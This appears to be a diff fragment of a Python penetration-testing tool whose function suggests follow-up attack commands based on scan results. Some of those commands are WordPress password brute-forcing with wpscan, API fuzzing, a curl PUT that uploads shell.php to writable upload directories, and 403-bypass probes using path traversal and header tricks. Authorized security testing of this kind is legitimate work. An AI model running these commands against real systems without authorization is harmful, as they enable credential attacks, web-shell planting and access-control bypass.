+ f"wpscan --url {base_url} --passwords data/wordlists/passwords_brute.txt --usernames admin",
383
+ ],
384
+ "reason": f"WordPress detected - enumerate users, plugins, themes for vulnerabilities",
385
+ }
386
+ )
387
+
388
+ # API endpoints
389
+ if api_paths:
390
+ next_steps.append(
391
+ {
392
+ "title": "Enumerate API endpoints",
393
+ "commands": [
394
+ f'curl -s "{api_paths[0]}" | jq .',
395
+ f'ffuf -u "{base_url}/api/FUZZ" -w data/wordlists/api_endpoints_large.txt',
396
+ ],
397
+ "reason": f"Found {len(api_paths)} API endpoint(s) - test for auth bypass, IDOR, injection",
398
+ }
399
+ )
400
+
401
+ # Upload directories
402
+ if upload_paths:
403
+ next_steps.append(
404
+ {
405
+ "title": "Check upload directory for unrestricted file upload",
406
+ "commands": [
407
+ f'curl -s "{upload_paths[0]}"',
408
+ f'# If writable, test: curl -X PUT -d "@shell.php" "{upload_paths[0]}/shell.php"',
409
+ ],
410
+ "reason": f"Found upload directory - check for directory listing and file upload vulnerabilities",
411
+ }
412
+ )
413
+
414
+ # If we found interesting 403 paths, suggest bypass techniques
415
+ forbidden_paths = [p for p in paths if p.get("status_code") == 403]
416
+ interesting_forbidden = [
417
+ p
418
+ for p in forbidden_paths
419
+ if any(
420
+ kw in p.get("path", "").lower()
421
+ for kw in [
422
+ "admin",
423
+ "api",
424
+ "config",
425
+ "backup",
426
+ "internal",
427
+ "private",
428
+ "secret",
429
+ ]
430
+ )
431
+ ]
432
+ if interesting_forbidden:
433
+ example = interesting_forbidden[0].get("url", "")
434
+ next_steps.append(
435
+ {
436
+ "title": "403 bypass techniques for restricted paths",
437
+ "commands": [
438
+ f'# Try path traversal: curl "{example}..;/"',
439
+ f'# Try header bypass: curl -H "X-Original-URL: {interesting_forbidden[0].get("path", "")}" "{base_url}"',
440
+ f'# Try method override: curl -X POST "{example}"',
441
+ ],
442
+ "reason": f"Found {len(interesting_forbidden)} interesting 403 path(s) - worth trying bypass techniques",
443
+ }
444
+ )
445
+
446
+ return next_steps